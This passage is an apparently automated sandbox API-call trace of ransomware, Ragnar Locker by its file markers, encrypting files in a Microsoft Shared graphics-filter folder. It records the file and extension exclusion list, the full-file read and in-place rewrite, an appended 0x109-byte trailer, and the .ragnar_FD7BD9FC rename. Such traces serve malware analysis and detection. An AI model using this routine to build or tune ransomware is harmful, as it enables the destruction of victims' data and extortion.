Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.ragnar_FD7BD9FC" [0051.261] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.261] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0051.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.262] lstrcpyW (in: lpString1=0x1eb636, lpString2="MS.WPG" | out: lpString1="MS.WPG") returned="MS.WPG" [0051.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned=".WPG" [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="autorun.inf") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="boot.ini") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="bootfont.bin") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="bootsect.bak") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="bootmgr") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="bootmgr.efi") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="bootmgfw.efi") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="desktop.ini") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="iconcache.db") returned 1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="ntldr") returned -1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="ntuser.dat") returned -1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="ntuser.dat.log") returned -1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="ntuser.ini") returned -1 [0051.262] lstrcmpiW (lpString1="MS.WPG", lpString2="thumbs.db") returned -1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".db") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".sys") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".dll") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".lnk") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".msi") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".drv") returned 1 [0051.262] lstrcmpiW (lpString1=".WPG", lpString2=".exe") returned 1 [0051.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0051.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.262] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1382) returned 1 [0051.263] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x55d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.263] GetProcessHeap () returned 0x580000 [0051.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.263] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.275] VirtualAlloc (lpAddress=0x0, dwSize=0x566, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.276] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x566, lpOverlapped=0x0) returned 1 [0051.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.276] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x566, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.276] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x566, lpOverlapped=0x0) returned 1 [0051.276] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x566, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.276] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.276] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x566, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.276] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.276] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.276] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.277] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.277] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.277] GetProcessHeap () returned 0x580000 [0051.277] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.277] CloseHandle (hObject=0x100) returned 1 [0051.277] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" [0051.277] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.ragnar_FD7BD9FC" [0051.277] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.278] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0051.278] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.278] lstrcpyW (in: lpString1=0x1eb636, lpString2="PICTIM32.FLT" | out: lpString1="PICTIM32.FLT") returned="PICTIM32.FLT" [0051.278] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned=".FLT" [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="autorun.inf") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="boot.ini") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootfont.bin") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootsect.bak") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootmgr") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootmgr.efi") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="bootmgfw.efi") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="desktop.ini") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="iconcache.db") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ntldr") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ntuser.dat") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ntuser.dat.log") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="ntuser.ini") returned 1 [0051.278] lstrcmpiW (lpString1="PICTIM32.FLT", lpString2="thumbs.db") returned -1 [0051.278] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0051.278] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0051.278] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0051.278] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0051.279] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0051.279] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0051.279] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0051.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0051.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.283] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=73080) returned 1 [0051.283] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x11d6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.283] GetProcessHeap () returned 0x580000 [0051.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.283] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.285] VirtualAlloc (lpAddress=0x0, dwSize=0x11d78, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0051.285] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.285] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.285] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11d78, lpOverlapped=0x0) returned 1 [0051.287] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.288] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11d78, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.288] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11d78, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11d78, lpOverlapped=0x0) returned 1 [0051.288] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11d78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.288] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.288] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x11d78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.289] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.289] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.289] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.289] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.289] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.289] GetProcessHeap () returned 0x580000 [0051.289] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.289] CloseHandle (hObject=0x100) returned 1 [0051.291] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" [0051.291] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.ragnar_FD7BD9FC" [0051.291] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.291] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0051.291] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0051.291] lstrcpyW (in: lpString1=0x1eb636, lpString2="PNG32.FLT" | out: lpString1="PNG32.FLT") returned="PNG32.FLT" [0051.291] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned=".FLT" [0051.291] lstrcmpiW (lpString1="PNG32.FLT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0051.291] lstrcmpiW (lpString1="PNG32.FLT", lpString2="autorun.inf") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="boot.ini") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootfont.bin") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootsect.bak") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootmgr") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootmgr.efi") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="bootmgfw.efi") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="desktop.ini") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="iconcache.db") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ntldr") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ntuser.dat") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ntuser.dat.log") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="ntuser.ini") returned 1 [0051.292] lstrcmpiW (lpString1="PNG32.FLT", lpString2="thumbs.db") returned -1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".db") returned 1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".sys") returned -1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".dll") returned 1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".lnk") returned -1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".msi") returned -1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".drv") returned 1 [0051.292] lstrcmpiW (lpString1=".FLT", lpString2=".exe") returned 1 [0051.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0051.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0051.292] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=302976) returned 1 [0051.292] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x49f77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.292] GetProcessHeap () returned 0x580000 [0051.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0051.292] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0051.294] VirtualAlloc (lpAddress=0x0, dwSize=0x49f80, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0051.294] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.294] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0051.294] ReadFile (in: hFile=0x100, lpBuffer=0x300000, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1eaf34*=0x49f80, lpOverlapped=0x0) returned 1 [0051.301] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0051.302] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49f80, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.303] WriteFile (in: hFile=0x100, lpBuffer=0x300000*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1eaf30*=0x49f80, lpOverlapped=0x0) returned 1 [0051.303] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49f80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.303] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0051.305] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x49f80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.305] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0051.305] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.305] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0051.305] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0051.305] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0051.305] GetProcessHeap () returned 0x580000 [0051.305] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0051.305] CloseHandle (hObject=0x100) returned 1 [0051.308] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" [0051.308] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.ragnar_FD7BD9FC" [0051.308] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0051.308] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0051.308] GetFullPathNameW (in: 